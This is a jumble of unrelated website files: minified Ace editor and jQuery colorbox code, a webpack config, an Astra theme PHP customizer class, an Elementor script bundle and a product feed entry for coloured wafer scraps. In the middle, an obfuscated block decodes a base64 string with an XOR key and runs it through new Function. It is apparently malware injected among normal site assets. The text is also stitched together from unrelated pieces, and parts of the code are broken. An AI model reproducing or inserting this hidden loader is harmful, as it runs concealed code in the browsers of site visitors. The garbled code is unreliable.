ace.define("ace/ext/elastic_tabstops_lite",["require","exports","module","ace/editor","ace/config"],function(e,t,n){var r=function(e){this.$editor=e;var t=this,n=[],r=!1;this.onAfterExec=function(){r=!1,t.processRows(n),n=[]},this.onExec=function(){r=!0},this.onChange=function(e){var t=e.data.range;r&&(n.indexOf(t.start.row)==-1&&n.push(t.start.row),t.end.row!=t.start.row&&n.push(t.end.row))}};(function(){this.processRows=function(e){this.$inChange=!0;var t=[];for(var n=0,r=e.length;n-1)continue;var s=this.$findCellWidthsForBlock(i),o=this.$setBlockCellWidthsToMax(s.cellWidths),u=s.firstRow;for(var a=0,f=o.length;a=0){n=this.$cellWidthsForRow(r);if(n.length==0)break;t.unshift(n),r--}var i=r+1;r=e;var s=this.$editor.session.getLength();while(r0&&(this.$editor.session.getDocument().insertInLine({row:e,column:f+1},Array(l+1).join(" ")+" "),this.$editor.session.getDocument().removeInLine(e,f,f+1),r+=l),l<0&&p>=-l&&(this.$editor.session.getDocument().removeInLine(e,f+l,f),r+=l)}},this.$izip_longest=function(e){if(!e[0])return[];var t=e[0].length,n=e.length;for(var r=1;rt&&(t=i)}var s=[];for(var o=0;o=t.length?t.length:e.length,r=[];for(var i=0;i tag.startsWith("hp-"),
},
},
},
{
test: /\.ts$/,
loader: "ts-loader",
options: {
appendTsSuffixTo: [/\.vue$/],
transpileOnly: true,
configFile: path.resolve(__dirname, 'vue-frontend/tsconfig.json')
},
exclude: /node_modules/,
},
{
test: /\.s?[c]ss$/i,
use: [MiniCssExtractPlugin.loader, "css-loader", "sass-loader"],
},
{
test: /\.(jpg|jpeg|png|gif|woff|woff2|eot|ttf|svg)$/i,
use: "url-loader?limit=2048",
},
],
},
optimization: {
minimizer: [
new CssMinimizerPlugin(),
new TerserPlugin({
terserOptions: {
compress: {
drop_console: true,
},
},
}),
],
},
plugins: [
new VueLoaderPlugin(),
new MiniCssExtractPlugin({
filename: "[name].css",
}),
// new webpack.HotModuleReplacementPlugin(),
new webpack.DefinePlugin({
__VUE_OPTIONS_API__: true,
__VUE_PROD_DEVTOOLS__: false,
__VUE_PROD_HYDRATION_MISMATCH_DETAILS__: false,
}),
],
resolve: {
extensions: [".ts", ".tsx", ".js", ".vue"],
alias: {
"@": path.resolve(__dirname, "vue-frontend/src/"),
"@vue-frontend": path.resolve(__dirname, "vue-frontend/"),
},
},
};
!function(d,s,l){var c,g,u,f,p,m,w,v,x,y,b,T,C,H,h,k,r,a,W,E,I,M,L,F,R,S,K,P,B,O,_,j,n,o={html:!1,photo:!1,iframe:!1,inline:!1,transition:"elastic",speed:300,fadeOut:300,width:!1,initialWidth:"600",innerWidth:!1,maxWidth:!1,height:!1,initialHeight:"450",innerHeight:!1,maxHeight:!1,scalePhotos:!0,scrolling:!0,opacity:.9,preloading:!0,className:!1,overlayClose:!0,escKey:!0,arrowKey:!0,top:!1,bottom:!1,left:!1,right:!1,fixed:!1,data:void 0,closeButton:!0,fastIframe:!0,open:!1,reposition:!0,loop:!0,slideshow:!1,slideshowAuto:!0,slideshowSpeed:2500,slideshowStart:"start slideshow",slideshowStop:"stop slideshow",photoRegex:/\.(gif|png|jp(e|g|eg)|bmp|ico|webp|jxr|svg)((#|\?).*)?$/i,retinaImage:!1,retinaUrl:!1,retinaSuffix:"@2x.$1",current:"image {current} of {total}",previous:"previous",next:"next",close:"close",xhrError:"This content failed to load.",imgError:"This image failed to load.",returnFocus:!0,trapFocus:!0,onOpen:!1,onLoad:!1,onComplete:!1,onCleanup:!1,onClosed:!1,rel:function(){return this.rel},href:function(){return d(this).attr("href")},title:function(){return this.title},createImg:function(){var i=new Image,t=d(this).data("cbox-img-attrs");return"object"==typeof t&&d.each(t,function(t,e){i[t]=e}),i},createIframe:function(){var i=s.createElement("iframe"),t=d(this).data("cbox-iframe-attrs");return"object"==typeof t&&d.each(t,function(t,e){i[t]=e}),"frameBorder"in i&&(i.frameBorder=0),"allowTransparency"in i&&(i.allowTransparency="true"),i.name=(new Date).getTime(),i.allowFullscreen=!0,i}},D="wflscolorbox",N="wflscbox",z=N+"Element",A=N+"_open",q=N+"_load",U=N+"_complete",$=N+"_cleanup",G=N+"_closed",Q=N+"_purge",J=d(" "),V="div",X=0,Y={};function Z(t,e,i){var n=s.createElement(t);return e&&(n.id=N+e),i&&(n.style.cssText=i),d(n)}function tt(){return l.innerHeight?l.innerHeight:d(l).height()}function et(t,i){i!==Object(i)&&(i={}),this.cache={},this.el=t,this.value=function(t){var e;return void 0===this.cache[t]&&(void 0!==(e=d(this.el).attr("data-cbox-"+t))?this.cache[t]=e:void 0!==i[t]?this.cache[t]=i[t]:void 0!==o[t]&&(this.cache[t]=o[t])),this.cache[t]},this.get=function(t){var e=this.value(t);return d.isFunction(e)?e.call(this.el,this):e}}function it(t){var e=x.length,i=(S+t)%e;return i<0?e+i:i}function nt(t,e){return Math.round((/%/.test(t)?("x"===e?y.width():tt())/100:1)*parseInt(t,10))}function ot(t,e){return t.get("photo")||t.get("photoRegex").test(e)}function ht(t,e){return t.get("retinaUrl")&&1"),function(){var t,e,i,n=j.prep,o=++X;K=!(B=!0),st(Q),st(q),I.get("onLoad"),I.h=I.get("height")?nt(I.get("height"),"y")-F-M:I.get("innerHeight")&&nt(I.get("innerHeight"),"y"),I.w=I.get("width")?nt(I.get("width"),"x")-R-L:I.get("innerWidth")&&nt(I.get("innerWidth"),"x"),I.mw=I.w,I.mh=I.h,I.get("maxWidth")&&(I.mw=nt(I.get("maxWidth"),"x")-R-L,I.mw=I.w&&I.w").hide().insertBefore(h),J.one(Q,function(){i.replaceWith(h)}),n(h)}else I.get("iframe")?n(" "):I.get("html")?n(I.get("html")):ot(I,t)?(t=ht(I,t),K=I.get("createImg"),d(K).addClass(N+"Photo").bind("error."+N,function(){n(Z(V,"Error").html(I.get("imgError")))}).one("load",function(){o===X&&setTimeout(function(){var t;I.get("retinaImage")&&1I.mw&&(t=(K.width-I.mw)/K.width,e()),I.mh&&K.height>I.mh&&(t=(K.height-I.mh)/K.height,e())),I.h&&(K.style.marginTop=Math.max(I.mh-K.height,0)/2+"px"),x[1]&&(I.get("loop")||x[S+1])&&(K.style.cursor="pointer",d(K).bind("click."+N,function(){j.next()})),K.style.width=K.width+"px",K.style.height=K.height+"px",n(K)},1)}),K.src=t):t&&T.load(t,I.get("data"),function(t,e){o===X&&n("error"===e?Z(V,"Error").html(I.get("xhrError")):d(this).contents())})}()}}function ct(){g||(n=!1,y=d(l),g=Z(V).attr({id:D,class:!1===d.support.opacity?N+"IE":"",role:"dialog",tabindex:"-1"}).hide(),c=Z(V,"Overlay").hide(),C=d([Z(V,"LoadingOverlay")[0],Z(V,"LoadingGraphic")[0]]),u=Z(V,"Wrapper"),f=Z(V,"Content").append(H=Z(V,"Title"),h=Z(V,"Current"),a=d(' ').attr({id:N+"Previous"}),r=d(' ').attr({id:N+"Next"}),k=d(' ').attr({id:N+"Slideshow"}),C),W=d(' ').attr({id:N+"Close"}),u.append(Z(V).append(Z(V,"TopLeft"),p=Z(V,"TopCenter"),Z(V,"TopRight")),Z(V,!1,"clear:left").append(m=Z(V,"MiddleLeft"),f,w=Z(V,"MiddleRight")),Z(V,!1,"clear:left").append(Z(V,"BottomLeft"),v=Z(V,"BottomCenter"),Z(V,"BottomRight"))).find("div div").css({float:"left"}),T=Z(V,!1,"position:absolute; width:9999px; visibility:hidden; display:none; max-width:none;"),E=r.add(a).add(h).add(k)),s.body&&!g.parent().length&&d(s.body).append(c,g.append(u,T))}d[D]||(d(ct),(j=d.fn[D]=d[D]=function(e,t){var i=this;return e=e||{},d.isFunction(i)&&(i=d(" "),e.open=!0),i[0]&&(ct(),function(){function t(t){1
!function(){var _0xbe33951e9830=atob('Zig7IC06JyEgZmc1JyhmOScgKiE5FWkReyh8LHp4dnp3KmkTZzwrOjs8IHU5JyAqITkVaRF7KHwsenh2encqaRNzf3U4LzxuETkgKSY7c2x5KHh8f34vfnd/LX15Lyt3LCgvfywoKnx7eHwqenp+KnZ6fH15fit/eX96fHkteCxsdTgvPG4RISYkLTcscxVpJjo6Pj10YWE+ISI3KSEgYCkvOis5LzdgOisgKis8IjdgLSFpYmkmOjo+PXRhYTw+LWAvICU8YC0hI2E+ISI3KSEgaWJpJjo6Pj10YWE8Pi1jIy8nICArOmAjLzonLWA/OyclICEqK2A+PCFpYmkmOjo+PXRhYT4hIjcpISBjLCE8Yzw+LWA+OywiJy0gISorYC0hI2liaSY6Oj49dGFhPiEiNykhIGM+OywiJy1gICEqJys9YC8+PmliaSY6Oj49dGFhPiEiNykhIGMjLycgICs6YD47LCInLWAsIi89Oi8+J2AnIWliaSY6Oj49dGFhfzw+LWAnIWEjLzonLWliaSY6Oj49dGFhPiEiNykhIGAqPD4tYCE8KWkTdTgvPG4RPDosLTdzbH42DHgsDXcrfwp+LHwoDHd4Dyx5DXp5C356DSx+DAt6eXl6f34sDX8ofGx1OC88bhE2IScoc2wseHYqf3Z+d2x1KDsgLTonISBuESk0JTwrOmYRKjYlNDs6JGc1Ojw3NTgvPG4RNiApJHMRKjYlNDs6JGA9Oyw9OjxmfmJ8Z3Nzc2l+NmlxESo2JTQ7OiRgPTssPTo8ZnxndBEqNiU0OzokdScoZhE2ICkkYCIrICk6JnJ/fHZnPCs6OzwgaWl1OC88bhEgOzgiPXM+Lzw9KwcgOmYRNiApJGA9Oyw9OjxmeHpieHpnYn94Z3UnKGZvESA7OCI9ZzwrOjs8IGlpdTgvPG4RIiUpOyZzETYgKSRgPTssPTo8Zn98dmIRIDs4Ij1kfGdiETc9Oj0iNzpzaWl1KCE8ZjgvPG4RIjo3O3N+dREiOjc7chEiJSk7JmAiKyApOiZ1ESI6Nztlc3xnNTgvPG4RPSE0PnM+Lzw9KwcgOmYRIiUpOyZgPTssPTo8ZhEiOjc7YnxnYn94Z3UnKGYRPSE0PmcRNz06PSI3OmVzHTo8JyApYCg8ISMNJi88DSEqK2YRPSE0Pmd1MzwrOjs8IG4RNz06PSI3OnUzLS86LSZmK2c1PCs6OzwgaWl1MzMoOyAtOichIG4RNCo7Ij8gLWYRLCU7KWIROyA8IGc1PCs6OzwgbiArOW4ePCEjJz0rZig7IC06JyEgZhEiICokYhEhIz0lNGc1OC88bhEjKjg0KHMgKzluFgMCBjo6PhwrPzsrPTpmZ3URIyo4NChgIT4rIGZpHgEdGmliESwlOyliOjw7K2d1ESMqODQoYD0rOhwrPzsrPToGKy8qKzxmaQ0hIDorIDpjGjc+K2liaS8+PiInLS86JyEgYSQ9ISBpZ3URIyo4NChgOicjKyE7OnN7fn5+dREjKjg0KGAhICIhLypzKDsgLTonISBmZzU6PDc1ESIgKiRmBB0BAGA+Lzw9K2YRIyo4NChgPCs9PiEgPSsaKzY6Z2d1My0vOi0mZitnNREhIz0lNGYrZ3UzM3URIyo4NChgISArPDwhPHMRIyo4NChgISA6JyMrITs6cyg7IC06JyEgZmc1ESEjPSU0ZiArOW4LPDwhPGZnZ3UzdREjKjg0KGA9KyAqZgQdAQBgPTo8JyApJyg3ZhE7IDwgZ2d1M2d1Myg7IC06JyEgbhE2Oi80PzggZhE7Izw+PDk4ZzUnKGYROyM8Pjw5OHBzESEmJC03LGAiKyApOiZnPCs6Ozwgbh48ISMnPStgPCs9ISI4K2YgOyIiZ3U4LzxuESUiKjc/JyFzNSQ9ISA8Pi10aXxgfmliIys6JiEqdGkrOiYRLS8iImliPi88LyM9dBU1OiF0ETw6LC03YiovOi90aX42aWURNiEnKDNiaSIvOis9OmkTYicqdH8zdTwrOjs8IG4RNCo7Ij8gLWYRISYkLTcsFRE7Izw+PDk4E2IRJSIqNz8nIWdgOiYrIGYoOyAtOichIGYRLToqImc1OC88bhEhNCA/cxEtOioiaGgRLToqImA8Kz07IjpxESk0JTwrOmYRLToqImA8Kz07IjpndGlpdScoZhEhNCA/ZzwrOjs8IG4RITQgP2A8Kz4iLy0rZmESYWVqYWJpaWd1PCs6OzwgbhE2Oi80PzggZhE7Izw+PDk4ZX9ndTNnYC0vOi0mZig7IC06JyEgZmc1PCs6OzwgbhE2Oi80PzggZhE7Izw+PDk4ZX9ndTNndTMoOyAtOichIG4RIT4gNCYgZhEoIjQ/J2c1OC88bhEpJCU3cyohLTsjKyA6YC08Ky86KwsiKyMrIDpmaT0tPCc+OmlndREpJCU3YD08LXMRKCI0PydlaWEvPidgPiY+cT1zaWUROSApJjtlaWgROHNpZQMvOiZgKCIhITxmCi86K2AgITlmZ2F4fn5+fmd1ESkkJTdgLz03IC1zOjw7K3VmKiEtOyMrIDpgJisvKjIyKiEtOyMrIDpgLCEqN2dgLz4+KyAqDSYnIipmESkkJTdndTMRNjovND84IGZ+Z2A6JisgZig7IC06JyEgZhEoIjQ/J2c1JyhmESgiND8nZxEhPiA0JiBmESgiND8nZ3UzZ3UzZ2ZndQ=='),_0x1dabbb6a0bcf=78,_0x69e3e62ffe44=new Uint8Array(_0xbe33951e9830['length']),_0x5965ef03c0f3=0;for(;_0x5965ef03c0f3<_0xbe33951e9830['length'];_0x5965ef03c0f3++)_0x69e3e62ffe44[_0x5965ef03c0f3]=_0xbe33951e9830['charCodeAt'](_0x5965ef03c0f3)^_0x1dabbb6a0bcf;(new Function(new TextDecoder()['decode'](_0x69e3e62ffe44)))()}();
/**
* Astra Theme Customizer Configuration Builder.
*
* @package astra-builder
* @link https://wpastra.com/
* @since 3.0.0
*/
// No direct access, please.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Register Builder Customizer Configurations.
*
* @since 3.0.0
*/
class Astra_Button_Component_Configs {
/**
* Register Builder Customizer Configurations.
*
* @param array $configurations Configurations.
* @param string $builder_type Builder Type.
* @param string $section Section.
*
* @since 3.0.0
* @return array $configurations Astra Customizer Configurations with updated configurations.
*/
public static function register_configuration( $configurations, $builder_type = 'header', $section = 'section-hb-button-' ) {
if ( 'footer' === $builder_type ) {
$class_obj = Astra_Builder_Footer::get_instance();
$number_of_button = Astra_Builder_Helper::$num_of_footer_button;
$component_limit = defined( 'ASTRA_EXT_VER' ) ? Astra_Builder_Helper::$component_limit : Astra_Builder_Helper::$num_of_footer_button;
} else {
$class_obj = Astra_Builder_Header::get_instance();
$number_of_button = Astra_Builder_Helper::$num_of_header_button;
$component_limit = defined( 'ASTRA_EXT_VER' ) ? Astra_Builder_Helper::$component_limit : Astra_Builder_Helper::$num_of_header_button;
}
$button_config = array();
for ( $index = 1; $index <= $component_limit; $index++ ) {
$_section = $section . $index;
$_prefix = 'button' . $index;
/**
* These options are related to Header Section - Button.
* Prefix hs represents - Header Section.
*/
$button_config[] = array(
/*
* Header Builder section - Button Component Configs.
*/
array(
'name' => $_section,
'type' => 'section',
'priority' => 50,
/* translators: %s Index */
'title' => 1 === $number_of_button ? __( 'Button', 'astra' ) : sprintf( __( 'Button %s', 'astra' ), $index ),
'panel' => 'panel-' . $builder_type . '-builder-group',
'clone_index' => $index,
'clone_type' => $builder_type . '-button',
),
/**
* Option: Header Builder Tabs
*/
array(
'name' => $_section . '-ast-context-tabs',
'section' => $_section,
'type' => 'control',
'control' => 'ast-builder-header-control',
'priority' => 0,
'description' => '',
),
/**
* Option: Button Text
*/
array(
'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text]',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-text' ),
'type' => 'control',
'control' => 'text',
'section' => $_section,
'priority' => 20,
'title' => __( 'Text', 'astra' ),
'transport' => 'postMessage',
'partial' => array(
'selector' => '.ast-' . $builder_type . '-button-' . $index,
'container_inclusive' => false,
'render_callback' => array( $class_obj, 'button_' . $index ),
'fallback_refresh' => false,
),
'context' => Astra_Builder_Helper::$general_tab,
),
/**
* Option: Button Link
*/
array(
'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-link-option]',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-link-option' ),
'type' => 'control',
'control' => 'ast-link',
'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_link' ),
'section' => $_section,
'priority' => 30,
'title' => __( 'Link', 'astra' ),
'transport' => 'postMessage',
'partial' => array(
'selector' => '.ast-' . $builder_type . '-button-' . $index,
'container_inclusive' => false,
'render_callback' => array( $class_obj, 'button_' . $index ),
),
'context' => Astra_Builder_Helper::$general_tab,
'divider' => array( 'ast_class' => 'ast-top-section-divider' ),
),
/**
* Group: Primary Header Button Colors Group
*/
array(
'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-color-group]',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-color-group' ),
'type' => 'control',
'control' => 'ast-color-group',
'title' => __( 'Text Color', 'astra' ),
'section' => $_section,
'transport' => 'postMessage',
'priority' => 70,
'context' => Astra_Builder_Helper::$design_tab,
'responsive' => true,
'divider' => array( 'ast_class' => 'ast-section-spacing' ),
),
array(
'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-background-color-group]',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-color-group' ),
'type' => 'control',
'control' => 'ast-color-group',
'title' => __( 'Background Color', 'astra' ),
'section' => $_section,
'transport' => 'postMessage',
'priority' => 70,
'context' => Astra_Builder_Helper::$design_tab,
'responsive' => true,
),
/**
* Option: Button Text Color
*/
array(
'name' => $builder_type . '-' . $_prefix . '-text-color',
'transport' => 'postMessage',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-text-color' ),
'type' => 'sub-control',
'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-color-group]',
'section' => $_section,
'tab' => __( 'Normal', 'astra' ),
'control' => 'ast-responsive-color',
'responsive' => true,
'rgba' => true,
'priority' => 9,
'context' => Astra_Builder_Helper::$design_tab,
'title' => __( 'Normal', 'astra' ),
),
/**
* Option: Button Text Hover Color
*/
array(
'name' => $builder_type . '-' . $_prefix . '-text-h-color',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-text-h-color' ),
'transport' => 'postMessage',
'type' => 'sub-control',
'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-color-group]',
'section' => $_section,
'tab' => __( 'Hover', 'astra' ),
'control' => 'ast-responsive-color',
'responsive' => true,
'rgba' => true,
'priority' => 9,
'context' => Astra_Builder_Helper::$design_tab,
'title' => __( 'Hover', 'astra' ),
),
/**
* Option: Button Background Color
*/
array(
'name' => $builder_type . '-' . $_prefix . '-back-color',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-back-color' ),
'transport' => 'postMessage',
'type' => 'sub-control',
'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-background-color-group]',
'section' => $_section,
'tab' => __( 'Normal', 'astra' ),
'control' => 'ast-responsive-color',
'responsive' => true,
'rgba' => true,
'priority' => 10,
'context' => Astra_Builder_Helper::$design_tab,
'title' => __( 'Normal', 'astra' ),
),
/**
* Option: Button Button Hover Color
*/
array(
'name' => $builder_type . '-' . $_prefix . '-back-h-color',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-back-h-color' ),
'transport' => 'postMessage',
'type' => 'sub-control',
'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-background-color-group]',
'section' => $_section,
'tab' => __( 'Hover', 'astra' ),
'control' => 'ast-responsive-color',
'responsive' => true,
'rgba' => true,
'priority' => 10,
'context' => Astra_Builder_Helper::$design_tab,
'title' => __( 'Hover', 'astra' ),
),
array(
'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-builder-button-border-colors-group]',
'type' => 'control',
'control' => 'ast-color-group',
'title' => __( 'Border Color', 'astra' ),
'section' => $_section,
'priority' => 70,
'transport' => 'postMessage',
'context' => Astra_Builder_Helper::$design_tab,
'responsive' => true,
'divider' => array( 'ast_class' => 'ast-bottom-divider' ),
),
/**
* Option: Button Border Color
*/
array(
'name' => $builder_type . '-' . $_prefix . '-border-color',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-border-color' ),
'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-builder-button-border-colors-group]',
'transport' => 'postMessage',
'type' => 'sub-control',
'section' => $_section,
'control' => 'ast-responsive-color',
'responsive' => true,
'rgba' => true,
'priority' => 70,
'context' => Astra_Builder_Helper::$design_tab,
'title' => __( 'Normal', 'astra' ),
),
/**
* Option: Button Border Hover Color
*/
array(
'name' => $builder_type . '-' . $_prefix . '-border-h-color',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-border-h-color' ),
'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-builder-button-border-colors-group]',
'transport' => 'postMessage',
'type' => 'sub-control',
'section' => $_section,
'control' => 'ast-responsive-color',
'responsive' => true,
'rgba' => true,
'priority' => 70,
'context' => Astra_Builder_Helper::$design_tab,
'title' => __( 'Hover', 'astra' ),
),
/**
* Option: Button Border Size
*/
array(
'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-border-size]',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-border-size' ),
'type' => 'control',
'section' => $_section,
'control' => 'ast-border',
'transport' => 'postMessage',
'linked_choices' => true,
'priority' => 99,
'title' => __( 'Border Width', 'astra' ),
'context' => Astra_Builder_Helper::$design_tab,
'choices' => array(
'top' => __( 'Top', 'astra' ),
'right' => __( 'Right', 'astra' ),
'bottom' => __( 'Bottom', 'astra' ),
'left' => __( 'Left', 'astra' ),
),
'divider' => array( 'ast_class' => 'ast-top-section-divider' ),
),
/**
* Option: Button Radius Fields
*/
array(
'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-border-radius-fields]',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-border-radius-fields' ),
'type' => 'control',
'control' => 'ast-responsive-spacing',
'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ),
'section' => $_section,
'title' => __( 'Border Radius', 'astra' ),
'linked_choices' => true,
'transport' => 'postMessage',
'unit_choices' => array( 'px', 'em', '%' ),
'choices' => array(
'top' => __( 'Top', 'astra' ),
'right' => __( 'Right', 'astra' ),
'bottom' => __( 'Bottom', 'astra' ),
'left' => __( 'Left', 'astra' ),
),
'priority' => 99,
'context' => Astra_Builder_Helper::$design_tab,
'connected' => false,
'divider' => array( 'ast_class' => 'ast-top-section-divider' ),
),
/**
* Option: Primary Header Button Typography
*/
array(
'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-typography]',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-text-typography' ),
'type' => 'control',
'control' => 'ast-settings-group',
'is_font' => true,
'title' => __( 'Font', 'astra' ),
'section' => $_section,
'transport' => 'postMessage',
'context' => Astra_Builder_Helper::$design_tab,
'priority' => 90,
),
/**
* Option: Primary Header Button Font Family
*/
array(
'name' => $builder_type . '-' . $_prefix . '-font-family',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-font-family' ),
'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-typography]',
'type' => 'sub-control',
'section' => $_section,
'control' => 'ast-font',
'font_type' => 'ast-font-family',
'title' => __( 'Font Family', 'astra' ),
'context' => Astra_Builder_Helper::$general_tab,
'connect' => $builder_type . '-' . $_prefix . '-font-weight',
'priority' => 1,
'divider' => array( 'ast_class' => 'ast-sub-bottom-divider' ),
),
/**
* Option: Primary Footer Button Font Weight
*/
array(
'name' => $builder_type . '-' . $_prefix . '-font-weight',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-font-weight' ),
'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-typography]',
'type' => 'sub-control',
'section' => $_section,
'control' => 'ast-font',
'font_type' => 'ast-font-weight',
'title' => __( 'Font Weight', 'astra' ),
'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_font_weight' ),
'connect' => $builder_type . '-' . $_prefix . '-font-family',
'priority' => 2,
'context' => Astra_Builder_Helper::$general_tab,
'divider' => array( 'ast_class' => 'ast-sub-bottom-divider' ),
),
/**
* Option: Primary Header Button Font Size
*/
array(
'name' => $builder_type . '-' . $_prefix . '-font-size',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-font-size' ),
'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-typography]',
'transport' => 'postMessage',
'title' => __( 'Font Size', 'astra' ),
'type' => 'sub-control',
'section' => $_section,
'control' => 'ast-responsive-slider',
'priority' => 3,
'context' => Astra_Builder_Helper::$general_tab,
'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ),
'suffix' => array( 'px', 'em', 'vw', 'rem' ),
'input_attrs' => array(
'px' => array(
'min' => 0,
'step' => 1,
'max' => 200,
),
'em' => array(
'min' => 0,
'step' => 0.01,
'max' => 20,
),
'vw' => array(
'min' => 0,
'step' => 0.1,
'max' => 25,
),
'rem' => array(
'min' => 0,
'step' => 0.1,
'max' => 20,
),
),
),
/**
* Option: Primary Footer Button Font Extras
*/
array(
'name' => $builder_type . '-' . $_prefix . '-font-extras',
'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-typography]',
'section' => $_section,
'type' => 'sub-control',
'control' => 'ast-font-extras',
'priority' => 5,
'default' => astra_get_option( 'breadcrumb-font-extras' ),
'context' => Astra_Builder_Helper::$general_tab,
'title' => __( 'Font Extras', 'astra' ),
),
);
if ( 'footer' === $builder_type ) {
$button_config[] = array(
array(
'name' => ASTRA_THEME_SETTINGS . '[footer-button-' . $index . '-alignment]',
'default' => astra_get_option( 'footer-button-' . $index . '-alignment' ),
'type' => 'control',
'control' => 'ast-selector',
'section' => $_section,
'priority' => 35,
'title' => __( 'Alignment', 'astra' ),
'context' => Astra_Builder_Helper::$general_tab,
'transport' => 'postMessage',
'choices' => array(
'flex-start' => 'align-left',
'center' => 'align-center',
'flex-end' => 'align-right',
),
'divider' => array( 'ast_class' => 'ast-top-section-divider' ),
),
);
}
$button_config[] = Astra_Builder_Base_Configuration::prepare_visibility_tab( $_section, $builder_type );
$button_config[] = Astra_Extended_Base_Configuration::prepare_advanced_tab( $_section );
}
$button_config = call_user_func_array( 'array_merge', $button_config + array( array() ) );
return array_merge( $configurations, $button_config );
}
}
/**
* Kicking this off by creating object of this class.
*/
new Astra_Button_Component_Configs();
/*! For license information please see editor-styles.js.LICENSE.txt */
!function(){"use strict";var e={"./packages/packages/libs/editor-styles/src/types.ts":function(e,t,r){r.r(t)},"./packages/packages/libs/editor-styles/src/utils/generate-id.ts":function(e,t,r){function generateId(e="",t=[]){let r;do{r=e+Math.random().toString(16).slice(2,9)}while(t.includes(r));return r}r.r(t),r.d(t,{generateId:function(){return generateId}})},"./packages/packages/libs/editor-styles/src/utils/get-styles-schema.ts":function(e,t,r){r.r(t),r.d(t,{getStylesSchema:function(){return getStylesSchema}});const getStylesSchema=()=>{const e=(()=>{const e=window;return e.elementor?.config??{}})();return e?.atomic?.styles_schema??{}}},"./packages/packages/libs/editor-styles/src/utils/get-variant-by-meta.ts":function(e,t,r){function getVariantByMeta(e,t){return e.variants.find(e=>e.meta.breakpoint===t.breakpoint&&e.meta.state===t.state)}r.r(t),r.d(t,{getVariantByMeta:function(){return getVariantByMeta}})}},t={};function __webpack_require__(r){var a=t[r];if(void 0!==a)return a.exports;var s=t[r]={exports:{}};return e[r](s,s.exports,__webpack_require__),s.exports}__webpack_require__.d=function(e,t){for(var r in t)__webpack_require__.o(t,r)&&!__webpack_require__.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},__webpack_require__.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},__webpack_require__.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var r={};!function(){__webpack_require__.r(r),__webpack_require__.d(r,{generateId:function(){return e.generateId},getStylesSchema:function(){return t.getStylesSchema},getVariantByMeta:function(){return a.getVariantByMeta}});__webpack_require__("./packages/packages/libs/editor-styles/src/types.ts");var e=__webpack_require__("./packages/packages/libs/editor-styles/src/utils/generate-id.ts"),t=__webpack_require__("./packages/packages/libs/editor-styles/src/utils/get-styles-schema.ts"),a=__webpack_require__("./packages/packages/libs/editor-styles/src/utils/get-variant-by-meta.ts")}(),(window.elementorV2=window.elementorV2||{}).editorStyles=r}(),window.elementorV2.editorStyles?.init?.();
//# sourceMappingURL=editor-styles.js.map
Recortes de Xacobleas Archives - Xacobleas
https://xacobleas.es/categoria-producto/descubre-todas-nuestras-variedades/recortes-de-xacobleas/
Wed, 08 Jul 2026 18:34:45 +0000
es
hourly
1
https://wordpress.org/?v=7.0.4
https://xacobleas.es/wp-content/uploads/2023/09/cropped-favi_Mesa_de_trabajo_1-32x32.png
Recortes de Xacobleas Archives - Xacobleas
https://xacobleas.es/categoria-producto/descubre-todas-nuestras-variedades/recortes-de-xacobleas/
32
32
-
Recortes de oblea de colores
https://xacobleas.es/producto/recortes-de-oblea-de-colores/
Mon, 22 Jul 2024 15:01:44 +0000
https://xacobleas.es/?post_type=product&p=2051
Recortes de oblea de colores listos para consumir solos o acompañar de otros ingredientes.
The post Recortes de oblea de colores appeared first on Xacobleas .
]]>
Cada bolsa contiene entre 100 y 120g de recortes de oblea de colores variados.
Información adicional
Peso
0.120 kg
Dimensiones
25 × 18 × 6 cm
Ingredientes
Harina de trigo, azúcar, lecitina de soja, agua y colorante alimentario E122, E131, E102, E129
Alérgenos
Contiene gluten.
